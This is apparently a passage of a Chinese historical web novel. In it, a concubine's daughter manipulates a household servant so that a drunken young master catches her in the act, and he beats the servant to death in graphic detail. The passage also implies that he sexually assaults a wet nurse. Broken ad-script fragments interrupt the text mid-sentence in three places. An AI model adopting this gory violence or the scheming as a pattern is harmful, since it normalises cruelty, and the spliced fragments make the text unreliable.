风言风语传进芸娘耳朵,让她感到怒不可遏。又不是她无缘无故发脾气,分明被对方骑到头上,而她忍无可忍。 芸娘松开手,环顾四周,一眼瞟见看门刘嬷嬷,正倚靠门框,手里抓着一把毛嗑,看热闹好不自在。 那一瞬间,她突然感到,灵台一片清明,犹如醍醐灌顶。 这就是苏家陷害她的手段。 设计陷阱诱导并逼迫她出手,把她塑造成手段凶残的疯癫婆娘形象,离间她和老爷等人的关系。再随便找个借口,诬陷她伤人,将她“绳之以法”。 当年他们陷害苏绾娘,手段如出一辙。 满屋的人潮涌动,对着她指指点点,无数根手指头,简直要戳破她的脑袋。 这屋子里所有人,都想要她死! 除掉一个刘嬷嬷,还有无数个张嬷嬷,李嬷嬷等着她。无论男女老少,全部都是帮凶,踮着脚尖祈盼她不得好死,舆论形成一张天罗地网,让她无路可逃。 昏黄的烛光摇曳,映照无数张狰狞面孔,鬼魅獠牙,血盆大口,要将芸娘母子吃干抹净,连骨头渣子都不剩。 熟料那边的苏绾,也得出相似的结论。 苏绾进得后厅,却见堂前端坐苏家家主苏君识伴苏夫人,旁边站着嫡子苏尽欢。 一家三口,整整齐齐,颇像城隍庙里的神像,连表情都一致:横眉竖眼,龇牙咧嘴,金刚怒目,菩萨低眉。 苏绾上前一步,对着苏老爷苏夫人福身,“女儿恭祝父亲母亲,端午安康。” 一见苏绾 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 面,苏尽欢最先站不住脚,捋起两袖,猴子般窜上前,扯住苏绾衣襟,恶狠狠道:“苏绾,你这小婊子,撺掇我爹不回家,气得我娘夜夜流泪至天明。本少爷须好好教训你,看你还敢得意忘形。” 他对苏绾一向直呼其名,毫无礼仪尊重可言。头两年,数他骂她“娼妓”骂得凶,嚣张程度不亚于苏沅芷。 哪知苏绾用力一抽,甩掉苏尽欢的手,稳稳退后一步,满脸嫌恶,“没大没小,毫无教养,真是糟蹋粮食。” 往日里,苏绾可不是这般疾言厉色,每每低头不语,活像木头桩子,三棒子打不出一个屁。 苏尽欢“嗷”得一声,不停揉搓手背,扭头看向苏夫人,委屈地直咧嘴。 他从不跟女人动手,不知道的还以为他是有修养的绅士,其实就是欺软怕硬罢了。 苏绾甩甩手腕,垂眸道:“舅舅来信了?” 苏夫人端着茶碗,啜吸一口龙井,闭目养神半日,放下茶碗,哼着鼻腔道:“才刚送到的,也没说什么,问候我苏家安否。” 苏夫人态度佻然,不屑一顾,可任谁都能看出,她那心底隐藏的暗喜,昭然若揭,止不住地溢出。 殷潜布政使乃朝廷封疆大吏,掌控江南一带包括苏州、南京、杭州在内的富庶水乡,地位举足轻重。 苏绾心内暗忖,如今殷潜要出手,总不为对付她小小庶女,多半冲着温如初而来——大约是那封悔婚书造成的结果。 但她猜不到殷潜会拿出何种策略手段,来惩治她俩。婚约愈近,容不得半点差错。 烛影憧憧,苏绾感到头晕,就近拣了张木凳,坐下来,心里止不住地慌乱。 很快,苏夫人给了她答案。 苏夫人丹凤眼翻了翻,阴笑道:“怎么,害怕了?脸色瞅着不对,你舅舅很是挂念苏二小姐的身体哟。” 苏绾没有回怼,她在思索策略。 苏君识在旁,不正不当呵斥,“你母亲问你话呢,舅父担心你安危,你怎么一点表示都没有?我真是白养你。” 不该插话时,可以不说话!没人当你是哑巴。 苏君识究竟知情否,在这次事件中扮演什么角色,苏绾皆不得而知。但她未曾听芸娘提起过任何枝叶,想必苏君识也蒙在鼓里。 知不知情有何意义?反正他这个做父亲的,从来没有一天,尽到应尽的责任——无论是对她,还是对她娘。将来,他还会辜负芸娘,坑害宝哥儿。 苏绾恨道:“承蒙舅舅厚爱,女儿不胜感激。只是不知,舅舅这次,又要出多少血,给多少人擦屁股呢。” 一句话说得苏君识脸面红一阵白一阵。过去数年,苏君识没少受殷潜庇佑,当然全看苏夫人这个妹妹的情意。导致苏君识每每谈到殷潜,就气短心虚,好似耗子见猫。 苏夫人拿起一柄玉竹缂丝团扇——来自江南的礼品,轻轻摇动,笑道:“罢了,我不卖那个关子,明白说吧。温侍郎头年就跟我报备,年底要去杭州监管茶叶征收,我寻思也不碍事,就一口应承下来。谁知天有不测风云,今年夏天正逢大旱,杭州那边明年的春茶,怕是要收不上来。” 苏夫人假意皱眉,“这节骨眼儿,没人管怎么行。家兄已上本禀奏皇上,恳请朝廷委派钦差大臣于六月底尽快出发,监管茶苗种植,预防明年招灾。这不,事情就落到温侍郎头上。皇命难违。” 忽然嘴角一斜,转忧为喜,“本来呢,你的婚期定在九月初八,紧赶慢赶也是不赶趟。然则你不必担忧,新郎官还能撇下新娘子,自己溜了不成?所以呢,为娘替你安排,叫你也跟着去杭州,不至鸳鸯背飞水分流。” 手中团扇一停,苏夫人得意道:“杭州物华天宝,乃为娘的本家,我合族的亲眷都在那里。”丹凤眼一瞟,精光闪耀,“我的儿,你们到了杭州,保准能享受到来自我殷家的‘特别照顾‘”。 结尾四字,咬牙切齿。 28. 杀鸡 特别照顾。 四字萦绕耳际,化为铜铃央央,敲打苏绾神经,一跳一跳。眼前事物逐渐模糊,光影暗淡,失去边缘色彩,变成灰白。 苏绾感到头晕目眩,她两手扶住桌案,勉强支撑身体,不叫自己跌下凳去。 事情向最糟糕的方向发展了。 此举旨在绑定她和温如初,打包递送虎口。婚约形同虚设,如今结不结婚,在所有人眼里,她都是温如初的人了。 前番百般筹谋策划,尽数化为一场空。 胸腔紧紧压迫感,咳了几下,口中一股腥甜。手中的帕子洇湿,苏绾却死死攥住,不敢打开来看。 她不能跌倒于此。 苏绾强撑着站起身,扯开嘴角淡然一笑,“母亲如此体贴女儿,处处为我打算好,我还有什么话可说。” 她这招伸手言和,惊得苏夫人一愣,她已准备好,同庶女叫骂三百回合,让小杂种无话可说。可这小杂种竟然不上套,真真给人添堵。 苏夫人面色阴沉,“你少跟我假模假式充傻装楞,仗着姓温的宠你,就想骑到我头上来,不能够!实话告诉你,此行就是要送姓温的上西天,你也跟着一同作陪。” “哼,你给姓温的灌了迷魂汤,哄得他分不清东南西北,竟然要将我的宝贝女儿送去西藏吐蕃和亲随嫁,瞎了他的狗眼!” 此话一出,苏君识震惊得胡子眉毛掉一地,不过他知不知道都没影响,也没人听他的。他只庆幸,女儿和亲的责任没怪罪在他身上,否则,他可无力承担。 苏绾心里冷笑,狗咬狗一嘴毛,以为一个殷潜就能震慑温如初,教他收回成命?他有势力和人脉,也有头脑和运气,想扳倒他,可没那么容易。 然而城门失火,殃及池鱼。温如初不会怎么样,苏绾却要跟着遭殃,杭州就是她的葬身之地。 苏绾面上不露声色,“人各有命,女儿也不强求。过去种种,女儿皆已得到教训。大过节的,何必扯这些不开心的事。” 苏绾从桌案放置的一盘水晶豆沙粽中,挑选一枚包裹严实齐整的,诚恳地双手奉给苏夫人,“今日端阳佳节,女儿亲手包的粽子,献给母亲品尝。祝愿母亲长长久久,和乐升平。” 上一次苏绾“认输”,还是在大理寺狱,苏绾声泪俱下,表示愿写悔婚书。苏夫人倒不疑心苏绾有诈,小杂种还没本事算计到她前面。只当她是又一次折服于自己的威慑之下。 眼见苏绾式微,苏夫人耷拉着眼睑,阴阳怪气道:“知道吃了教训就好,你舅舅并非昏庸无道之人,他见你诚心悔过,总不会叫你太难堪。” 母女二人一唱一和,安详喜乐,真好似血缘至亲一般,倒叫那亲生的在一旁羡慕嫉妒恨。 这边厢,婆子进门招呼:“饭菜已齐,家宴开始。” 苏绾出得后厅,见芸娘抱着宝哥儿,两眼昏暗无光,一脸颓丧模样。 苏绾问道:“谁又惹你不高兴?” 芸娘破天荒没诉苦,只摇摇头,轻描淡写,“宝哥儿碰手了,哭了两声。” 苏绾闻言,伸手抱过宝哥儿,心疼地贴着小脸儿,“宝贝,阿姐看看,疼不疼?” 宝哥儿瘪着小嘴,举着小胖手,“疼~” 无霜向苏绾挤弄眼睛,又瞅瞅旁边婆子,苏绾瞬间了然。 孩子被人故意欺负了。苏家的下人什么德行,苏绾早八百年前就领教过。 须上演一出“杀鸡儆猴”,给这些狗腿子点颜色看看,教他们付出血的代价。 苏绾轻抚后背,细声安抚:“宝贝乖,阿姐打坏人。” 她眼眸一沉,望向桌案摆放的雄黄酒,沉默片刻,偷偷跟无霜细语。 无霜两眼一滞,盯着苏绾使劲看,见苏绾默然阖眼,无霜作罢,寻了间歇悄然离去。 宴席暨始,席间觥筹交错,推杯换盏。 一桌上坐着苏家家主苏君识苏夫人,并十六岁嫡子苏尽欢,十七岁庶女苏绾,以及一岁半庶子宝哥儿。 芸娘虽为新过门的姨娘,然身份地位比起婆子婢女高不到哪里去,也轮不到上主桌,同几位府上资深的管家及嬷嬷一起,坐在后厅用膳。 官宦人家等级制度森严,谁也不得随意僭越。 宝哥儿坐在高凳,小胖手举着一块白面饽饽,往嘴里使劲塞。无奈统共只生俩颗小牙,啃食半日,也没吃进星星半点。 宝哥儿涨红小脸,晃动小手,“饿~” 苏夫人嫌烦,嗔道:“既知吃不了食,怎不喂饱再出门?搅了人的胃口。” 话语尖酸刻薄,听得苏绾眉头紧蹙,她瞟了苏夫人一眼,放下手中箸筷,揶揄道:“母亲高寿,红口白牙齐整,吃得饱睡得香。我们小宝贝,比不了。” “放肆。” 大概嫌苏夫人傲娇过头,亦或心疼麟儿挨饿,苏君识突然怒斥一声,吓得在座女眷一激灵。 “乳娘在哪里?过来喂奶吃。” 苏君识难得发脾气,苏夫人不再吭声,她懂得如何做体面的正头夫人。 乳娘被人从后厅急召过来,也没弄清楚情况,一屁股被摁在木凳,紧挨苏绾右边。 苏绾拍拍乳娘肩膀,柔声道:“宝哥儿饿了,就在这里吃奶。” 乳娘有些羞赧,大庭广众之下喂奶,忒不合时宜。她忸怩作态,迟迟不肯解衣。 苏绾伸手除她衣扣,“莫怕,老爷亲口下了命令,谁都不敢笑话你。” 解开罩衣,半遮半掩,露出雪白皮肉。 苏绾侧身挡在乳娘面前,伸手递过宝哥儿。小宝贝饿急,甫一接触,大口大口嘬不停。 苏尽欢坐在苏绾左边不远暇,角度刁钻古怪,春光乍泄,一览无余。 他斜眼盯着那片起伏跌宕,小儿吮乳之声,砸吧砸吧,一下一下,每一口都嘬在心头,奇痒无比。 苏尽欢乃纨绔子弟,最喜出入花街柳巷,领教行院千百般花样手段。 衔乳他干过,牛奶他也喝过。然而,这等吮人乳之举,他还未曾尝试。 想着想着,业火涌上胸口,少年忍捺不住,以袖边揩去嘴角三尺垂涎。 他端起白瓷酒盏,一杯又一杯,不停灌雄黄酒,欲以凉酒浇热火。 可不知怎的,火苗愈浇愈旺,大有燎原之势。 苏绾斜睨苏尽欢,猥琐之相尽入眼帘。她故意收身挪了挪,挡住邪恶视线来源。 苏绾低声对乳娘道:“你也累了,喂完去西下房歇息,今晚不必回去。” 声音不大不小,被苏尽欢听了正着。 宝哥儿吃饱喝足,冷冷推开乳娘,再不肯嘬一口,伸着小手呼唤:“阿佳,抱。” 乳娘完成任务,起身拜别众人,依照苏绾指示,匆匆走去西下房不提。 剩下苏尽欢,跌坐在凳子上,满脸通红,一副失魂落魄模样,两脚不停抖动。 苏夫人敛着眉间,“这么大人了,还抖脚。男抖穷,女抖贱。” 苏尽欢起身欲作揖赔不是,熟料脚跟未站稳,差点跌个趔趄,顺带着白瓷酒盏跌落在地,“咔嚓”碎裂两半。 “哎呦,小祖宗,造孽哟。”旁边伺候的婆子互相争抢着,都想占打扫清理的头功。 苏尽欢“嘿嘿”一笑,舌头打结,囫囵不清,“母亲大人~儿喝得有点……高,先、先行告退。” 苏夫人见惯他烂醉如泥模样,也懒得管他,挥挥手打发他走人,长叹口气,“我为这竖子,操心操到老死。” 苏君识夹起一块“盘龙鳝”,讨好地递送苏夫人嘴边,“夫人消消气,莫跟那不孝之子置气,不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 值当。” 苏夫人忸怩张嘴,吃下鳝肉,行为矫揉造作,捏着嗓子道:“你瞅瞅,我为这个家付出多少,生生熬白头,有谁记得我的好!” 夫妻携手,共话巴山夜雨,令人感动垂泪。 苏绾一个字未听进去,目光紧紧盯着苏尽欢。见他出门走向长廊,停了一顿,并未返归他居住的东厢房,而是跌跌撞撞向西下房方向趸去。 路,是你自己选择的,莫要后悔。 苏绾眼眸渐渐深沉,泛出一层冷戾之色。 宴席逐渐趋近尾声,约摸一炷香工夫,苏绾借口出恭,离开厅堂,到庭院天井透气。 踩着细嫩绿草,借着溶溶月色,苏绾来到门房处。看门刘嬷嬷一条腿搭坐塌边,倚墙嗑瓜子吃。苏绾跨进门槛,“嬷嬷吃了没?” 刘嬷嬷抬起老眼一瞧,见是苏绾,爱搭不理,“吃了几颗浙江嘉兴蛋黄肉粽,舅爷千里寄送来的原材料,油水厚实着哩,这会子我消化消化。” 苏绾笑道:“嬷嬷辛苦,端阳节还要替苏家守着这门槛。”她瞧见四下里无人,忽然眼眸一转,神秘道:“大过节的,嬷嬷想不想赚点外快?眼前正有一桩买卖,不知嬷嬷有意否?” 刘嬷嬷诧异道:“什么买卖?” 苏绾上前一步,凑近刘嬷嬷耳际,“方才我一路走来,听见西下房传来吟哦呜咽,靡靡之音。想必哪个不开眼的,正行苟且之事。” 她捂着嘴唇,“嬷嬷行使看门职责,堂而皇之抓他现行,索要几两银子‘保密费‘,天经地义,不在话下。他二人唯恐嬷嬷告发,自然不敢不交。” 刘嬷嬷待在苏家二十载,干活说不上有多卖力,敲诈勒索是她拿手好戏。因她有个赌博的嗜好,常常入不敷出,倘若不使些龌龊手段找点进项,她早被债主千刀万剐了。 然刘嬷嬷也是江湖老货,并不轻易相信他人,攥着瓜子,迟疑道:“有这等好事,为何独独找我?别是你们联合起来,陷我于不义吧。” 苏绾嘴角上扬,“看嬷嬷说的,我好歹也是苏家二小姐,何苦陷害嬷嬷你,对我有甚好处?” “下人通奸,传出去丢我苏家颜面,我也不想跟着背骂名不是。” “这事是我发现的,倘若我站出来揭发,他们或挨顿打或赶出门,除了招人记恨,我可得半点赞誉?” “不若交给嬷嬷处理,我既卖个人情,嬷嬷捞点油水,他俩花钱免灾,所有人皆大欢喜。” “这里面是是非非,孰轻孰重,嬷嬷可明白?” 苏绾说得没错,她是苏家二小姐,又不能明面敲诈勒索,到最后白白受人埋怨,苏家也不会记她的好。刘嬷嬷在苏家二十年,大宅门里的门道,她摸得门清。 刘嬷嬷砸吧砸吧嘴,吐出两片瓜子壳,喜道:“老奴明白,二小姐为苏家尽心尽力,老奴佩服。” 她伸手划拉塌上残渣,抖落衣襟浮灰,拔座起身,“事不宜迟,老奴这就去,保准干净利落。” 苏绾笑道:“祝愿嬷嬷马到功成,财源滚滚。” 刘嬷嬷穿上新做的缎面比甲,鬓发抹了点头油,梳理光滑整齐。烛光映照她惨白老脸,仿佛施了魔法,所有褶皱消失不见。整个人容光焕发,返老还童,所谓人逢喜事精神爽。 她不仅为即将到手的银子感到兴奋,更在意的是,就连苏家二小姐,都要上赶着讨好她,卖她人情。现在的她,地位与日俱增,今非昔比。 白日里被芸娘那个贱婢捶了一拳,这份仇恨她刻骨铭心,来日必将以牙还牙,以眼还眼,叫那贱婢,挫骨扬灰,吃不了兜着走。 哼,都是一样的下贱身份,谁还瞧不起谁啊。 “噗。” 刘嬷嬷吹熄烛火,打开破旧木门,银白月光洒了她一身,好似披了一件麻衣。 29. 儆猴 夜幕落星河,耿耿漏绵绵。 刘嬷嬷踩在稀疏的石子路,深一脚浅一脚,踩得石粒咯吱咯吱响动。微风有一阵没一阵乱吹,吹得她莫名其妙地心慌意乱。 抓人通奸的勾当,她干过不止一次两次。当年苏绾娘九香被人逮住偷情,就是她亲自报告的口信。 那亦是一个风清月明的夜晚,刘嬷嬷才吃过一碗打卤面,躺在磨房土炕养膘,琢磨第二天一早杀去赌坊回本。 翻了一个身,忽闻外面有动静,淅淅索索。仔细一听,似有人物对话声。 “你沿着这条路一直走,西边拐角第二处厢房就是了。”听声音好似苏夫人手下的管事嬷嬷。 “知道了。”说话声为一陌生男子,嘴里似含着一口浓痰,囫囵不清。 管事嬷嬷吩咐道:“这会子她已睡下,你但去她屋里无妨。记住,不要说太多话,专心把我交代你的任务完成,后面的事情无须你再管。” “放心吧。”陌生男子笃定道。 二人声音渐行渐远,刘嬷嬷在墙角听得很清楚。西边拐角第二处厢房,不就是姨娘的房间,黑灯瞎火的,管家嬷嬷引男人去那里做甚? 她在心里琢磨几个来回,忽然脑内灵光一闪,兴奋拍手,“原来如此。” 刘嬷嬷披上褂子,打开磨房破烂木头栅栏门,趁着浓浓夜色,悄悄跟随其后。 那二人在长廊尽处分开,陌生男子按照管事嬷嬷吩咐,摸到西厢房门,用小刀仔细挑开门栓,钻进漆黑一片的屋子。 过了一会儿,只见屋内响起一声低低尖叫,声音浑浊不清,好似被堵住嘴。 刘嬷嬷见鱼已上钩,此时不动,更待何时。她“刷”得一下,踹门而进,大喊一声:“有奸情!” 声音嘹亮传四方,片刻起,庭院各处掌灯,人群开始不断聚集,不晓得发生何事。 床前两人皆慌乱无措,女人绝望悲恸,男人则满脸疑惑。 他瞪着眼睛瞧刘嬷嬷,嘴里嘟囔,“怎么来得这样快?我还没办事呐。” 刘嬷嬷冷笑道:“哼,你还想办事?想得美!我盯着你俩好久了,奸夫□□,今儿个终于被我抓正着。废话少说,咱们一起去见老爷夫人。” 男人还想辩驳几句,似乎跟预定计划不一样,但又大差不差。他感到星许吃亏,明明说好先办事,再来人捉。搞得兴起,没得发泄,难受死人。 刘嬷嬷出得西厢房,迎面撞见匆匆赶来的管事嬷嬷,对方亦是一脸惊诧,怒嗔:“谁让你来的?差点坏事知道么?” 刘嬷嬷自知做得出格,赶紧弯腰赔笑,“老姐姐莫担心,我都明白,明白,心里明镜。保证不会坏事,你放心吧。” 她瞥了一眼西厢房屋内,故意挑高音量,“我早就注意到,那两人通奸已久,今儿个终于抓她现行,看她还敢抵赖。” 管事嬷嬷心里一震,刘嬷嬷这是要截胡。本来这通计划里,根本没刘嬷嬷什么事。被她这么一掺和,反倒让她抓住机会立了头功。 事已至此,管事嬷嬷也不敢乱说话,生怕激怒刘嬷嬷,露了马脚坏了事,引来苏夫人责怪,只好任由刘嬷嬷胡扯发挥,让她去跟老爷夫人报信。 在苏夫人面前,刘嬷嬷煞有介事数落九香的不贞,那情景仿佛她亲眼目睹。也多亏她的“报信”,最终导致九香落得“沉塘”下场。 苏夫人以为刘嬷嬷本就是计划中的一颗棋子,事后夸她办事得力,还特地奖赏刘嬷嬷,升职为看门嬷嬷,这可是一份肥差,活少油水多。 只可惜因此得罪了管事嬷嬷,看门一职,刘嬷嬷一干就是十年,再没得机会晋升。 无论如何,总好过待在磨房,整日跟驴子磨豆腐,呸呸,那简直不是人过的日子。 月明浸疏竹,泠然洗浊意。 “嬷嬷!” 刘嬷嬷正专心走路,冷不防听见身后有人唤她,吓得她一激灵,跳脚直嚷嚷:“哦呦,财神爷保佑。” 回头一看,原来是夫人房里的小丫鬟阿沁,提拉着绔子,想是准备出来小解。 阿沁今年十二岁,一副稚气未脱的模样,还是个孩子。她是苏夫人钱塘老家的远亲,自小被送至京城苏夫人身边,做贴身伺候洗漱的小丫鬟。 阿沁道:“嬷嬷这是要哪里去?” 她上赶着去捉奸敛财,这事怎可能让别人知道,瓜分她的财气,截胡她的牌局。 刘嬷嬷欲编借口打发阿沁,谁知话还未出口,被阿沁抢先一步,“我才刚看到二小姐从你屋里出来,可是她找你有事情?” 通风报信之人,最忌讳被人看穿阴谋,倘若将苏二小姐抖搂出去,刘嬷嬷绝对不得好果子吃。 刘嬷嬷脸一黑,“乌漆墨黑的,你哪只眼睛看见二小姐?分明就是我一个人才出门。小孩家家的,净胡说八道,滥嚼舌根,小心我去夫人面前告状,罚你一顿板子。” 阿沁遭她诟谇,心里觉得委屈,不知怎就得罪了她,扁嘴呜咽道:“告去告去,人家就是看见了嘛。”说完一赌气,扭头就跑,打定主意从今以后,再不理刘嬷嬷。 眼见阿沁小身影消失无影,刘嬷嬷心下松口气,这等毛孩子,一经吓唬魂都飞了,准保不敢乱说。 趁着月色,刘嬷嬷加快脚步,耽搁许久,别是人家干完了事,她扑了场空,那真是瞎子点灯——白费蜡。 很快来到西下房,此时仆从们都在厅堂伺候家宴尾声,一排房间皆暗无灯火。 刘嬷嬷悄悄走近房门,在廊檐底下倾听动静。 夜阑风静彀纹平,丝丝缕缕风动,隐隐约约夹杂细细喘息,似有似无,难以辨清。 果然有猫腻。 刘嬷嬷嘴角一斜,天降横财,运气来了,挡也挡不住。 她气沉丹田,鼓足一股劲,用力踹开房门,轻车驾熟,迅雷不及掩耳之势,噌的一下窜进黑暗房间。 “大胆,竟敢在老身眼皮子底下偷腥,你们大祸临头了!我这就抓你去见老爷夫人,将你俩活活打死。” 声音不高不低,既能起到震慑作用,又不叫外面的人听了去,以免打草惊蛇。 黑暗之中,一对身影纠缠,上下叠罗,如海浪般颠簸起伏。 刘嬷嬷等了半日,不见对方求饶,心里十分纳罕。以为对方未听清楚,她上前两步,咬牙切齿道:“唉?装蒜是吧,给我起来,咱们说道说道。” 喘息声并未中止,反而愈演愈烈,快马加鞭,似要登天之势。 竟有如此胆大妄为之人,完全无视她的存在。刘嬷嬷怒上心头,破口大骂:“狗娘养的,不给你点厉害尝尝,你当老娘好惹的。” 刘嬷嬷伸出手去拉上方臂弯,欲将二人强行分开。她用力一扯,竟然没扯开。 对方纹丝未动,好似绑在一处的两只蜻蜓,呼哧带喘苦干繁衍事业。 入你娘的,邪门了。 刘嬷嬷捋起袖子,一边骂骂咧咧,一边抡起木凳,照准上方后脊,施了五分力砸下去——可不能砸头,万一砸死了,她跟谁要钱去。 “啪嗒”一声。 随着一声响动,对方终于停止剧烈动作,虾弓在黑暗中,气喘吁吁,沉寂不言。 刘嬷嬷啐了一口唾沫,“呸,你丫的有病吧,不打不服气是么。还能不能说事儿?” 电光火石间,那身影倏然挺立,通的一下拔开活塞,自软绵处一跃而下,好似猿猴般灵敏。 恰时一抹月光扫过窗格,照射猴子身影面庞,容貌一清二楚。 白面长身少年,光溜溜的脊梁。斜眉横飞,三角眼眸充满血色,泛着令人不寒而栗的凶光。 “少、少爷!” 刘嬷嬷大吃一惊,赶紧扔下木凳,跪地咣咣磕头,拖着假意的哭腔,“少爷饶命,老奴无心打扰,认错人了。” 苏尽欢似听不进任何言语,趋步刘嬷嬷跟前,二话不说,抬起右脚,一脚倒劈后脊。 只听“咯吱”一声,骨节碎裂两节。 刘嬷嬷两眼一黑,下身顿时没了知觉。她两手匍匐爬行,四处慌乱逃跑,扯开嗓门哭喊道:“救命啊,救命!” 苏尽欢顺手抄起那张砸他脊背的木凳,高举过头,月光映照他狰狞扭曲的脸孔,怒目圆睁,口里 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吐着长舌,青面獠牙,仿佛恶鬼降世。 一下,两下,三下…… 无数夯击,雨点般狠狠砸向头颅。 求救声音渐渐式微,取而代之的是喘息,慢慢的,连那点残余喘息,亦销声匿迹。 意识逐渐远离,剩一点火花跳跃。 脑海浮现出苏绾的脸颊,笑容冰冷且陌生,“我好歹也是苏家二小姐,何苦陷害嬷嬷你,对我有甚好处?” 可恶,大意了。 心头的恨意剥茧抽丝,抽出一丝溃败的懊悔。那丝悔意自破碎的脑壳渗出,漂浮在流动的脑浆中,渐渐地,融入土坷垃,化作污泥不见。 钩月隐匿纤凝,夜爱疏影横斜,大地陷入漆黑苍茫。 家宴结束后,仆从陆续离开。苏老爷苏夫人已回房休息。 芸娘抱着熟睡的宝哥儿,向苏绾抱怨道:“我都没机会跟老爷说句话,他就被女大虫拽跑了。”她起身往外走,“咱们也走吧,留在这丢人现眼。” 苏绾支颐案边,望着窗外半边弦月,低声道:“再等等,马上就来了。” “什么来了?” 芸娘正欲询问原因,忽然门外吵嚷一团,给了她答案——显然又添了更多疑问。 接下来的一刻钟,想必是芸娘生命里最漫长的一段历程。 她茫然地听仆从们左一句,又一句的汇报,说些令她毛骨悚然的字眼,诸如“死尸”、“脑壳”、“黏糊糊”、“皮肉分离”等。 芸娘问道:“谁死了?” 仆从们摇头,死者面目全非,看不清面貌,根本无法辨认。 芸娘扦住苏绾手腕,慌道:“别是乳娘没了吧?你不是叫她去西下房睡觉?出事的可不就是西下房。” 苏绾还未回应,一名胆大的婢女抢着答道:“不是乳娘,她还活着,只是厥过去了,暂时不省人事。” “阿弥陀佛,万幸万幸。”芸娘拍着胸脯庆幸。 乳娘也算她房里的人,她理应负责保护乳娘的人身安全,人不能在她手里出事。 可一个问题得到解答,立刻又蹦出下一个问题。 “谁杀的?” 在场所有人突然噤若寒蝉,任凭芸娘再三询问,无一人敢站出来说话。 那边苏夫人接到口信,鞋子来不及穿,一路打赤脚向西下房奔去。苏君识心宽体胖,步履蹒跚,落在后头。 夫妇二人狂奔至西下房,只见现场一片狼藉,血腥气味充斥,血肉碎片飞溅,脚下猩红血液流成河。 在一堆不成人形的碎肉旁边,蹲踞着一只似人非人的兽,浑身光不溜秋,手里握紧一根支离破碎的木凳腿,正一下一下地捣鼓肉糜。 “啊——” 苏夫人大叫一声,登时两腿一伸,就地晕厥过去。 旁边伺候的婆子惊呼:“来人呐来人呐。” 苏君识到底是苏家家主,家里发生大事件,他当即下令关紧大门,不许任何人出入,苏家进入全员备战状态。 家奴握着棍棒封锁门户,所有人均原地待命。一家子人聚集厅堂,黑压压一片,个个人心惶惶不安。 芸娘惊恐万状,眼神逡巡四周,她颤颤巍巍抓住无霜的手,“你看到刘嬷嬷没有?我仔细看了四五个来回,都没找见她。你说,会不会是刘嬷嬷出事了?” 无霜正四处寻找软垫给苏绾用,然而偌大厅堂,容不下一张坐垫。她低头咬唇道:“姨娘莫慌,嬷嬷许是还在门房守候,这会子不在眼前。” 芸娘忧心忡忡望向苏绾,她有一种不好的预感,这事大概跟苏绾有关联。她担心苏绾,为了承诺帮助她,从而引火上身。 苏绾倚靠屏风,席地而坐,双眸阖合打盹儿,怀抱里的小宝贝睡得香甜,还打了个小小呵欠。 端阳佳节,月华如水,夜风清冽。户户挂艾草,荷叶菖蒲浸香。醉人歌声,飞泉鸣玉,回荡在江畔。大红灯笼高挂,点亮银河长空,与繁星共舞,坠入苏绾的梦。 梦里繁华喧嚣尽处,却是满目疮痍,山河破碎,战火硝烟弥漫。熟悉的松脂气味萦绕,久久挥之不去。 30. 定亲 永乐二十五年,五月初八,东城时将军府。 家丁陆续撤掉屋檐下悬挂的菖蒲、艾蒿,以及五颜六色的纸扎葫芦。婢女将包粽子的箬叶清理干净,捆绑成扎,留待来年重复利用。 端阳节日的氛围逐渐消散,时府亦恢复往昔的宁静。不知何时,虬枝低绣拂墙处,多了一抹娇俏倩影。仿若一只蝴蝶,晴日纷纷逐花老。 时枫负手驻足窗前,眯眼眺望花间舞蝶,并未感到一丝愉悦,心底无端添得三分烦扰。 已经三天了,没有半点音讯。 苏府大门紧闭,除却偶尔一两杂役从侧门通行,中间不见任何人出入。紫竹苑那边,更是空无一人,伙房的烟囱就没冒过烟。 事出反常必有妖。 苏家向来仇视苏绾,如此大张旗鼓封门闭户,必有大事发生,且多半于她不利。 难不成那疯婆娘,被人拿住一枕荒唐的把柄?那他岂不是又一次亲手推她入火坑? 男人凤眸剪了剪,睫毛凝结沉郁的风霜。 忽然身后响起一声清咳,“榆白世侄,你在这里。” 原来是福建都指挥使沈恪沈老将军,鹤发垂袍叶,矍铄夸身健。他奉旨进京面圣,端午傍晚到达京城,这几天一直客居在时府,等候圣上召见。 时枫躬身唱喏:“伯父找我有事?” 沈恪正襟危坐,神色凝重,“我自进京请命,全为福建沿海抗倭一事。近二年来,海寇频繁滋扰渔民乡民,武装走私,杀人越货时有发生。究其缘由,邻边倭国战火纷飞,南北内战导致民不聊生,大量倭贼涌入我朝临海,尤其浙江、福建等地。倭寇挂着八幡大菩萨的旗帜,冲破室町幕府和我朝的联合规定,大肆掠夺我朝财富。” “区区小贼,本不足为惧。老夫临危受命,同倭寇海战将近数百次,胜负十之八九。然就近半年来,老夫发现,受我所擒之贼寇,三成竟为我朝子民。他们熟悉环境,又无语言障碍,勾结浪人倭寇,成为所谓的‘假寇‘”。 时枫叹道:“我朝皇帝仁济天下,爱民如子,怎会有人甘愿做贼寇?” 沈恪掀眸,“这也正是老夫此行的真正目的,我怀疑朝中有‘内鬼’,官员吃里扒外,勾结倭寇,联合掠夺沿海资源。浙江布政使殷潜,目前嫌疑最大。” “然而始终缺乏确凿证据,暂不能盖棺定论。不日待我面见圣上,恳请彻查此事。免不了要兵部指派钦差大臣并总都督,调遣一支训练有素的军队协助调查。” 沈恪虚眯老眼,意味深长,“只要,能过得了内阁那一关。” 时枫表情略微惊讶,既牵连封疆大吏,必是一件万分棘手的案子,搞不好掀起朝廷血雨腥风。 他蹙眉道:“眼下朝廷正值用人之际,兵部一时调挪不开将领监督倭寇,伯父此行,恐怕无法达成所愿。依小侄拙见,待我草拟一份《抗倭战略》,一同递交圣上,有的放矢,也利于圣听裁断。” 沈恪捋须赞道:“甚好。就按世侄所说的办。” 正事说完,沈恪却没有要走的意思,端坐太师椅内悠哉品茗,斯哈斯哈吹热气。 时枫觉得奇怪,“伯父可还有事?” 沈恪慢慢悠悠嘬了一口“老君眉”,砸吧砸吧嘴,缓缓放下茶盏,俄延良久,“我与你爹时谦,自小光着屁股追着跑的交情,同生共死,一晃将近六十年。当年你爹困在大漠,孤立无援,是我单枪匹马,深入虎穴,将他从死人堆背出来。” 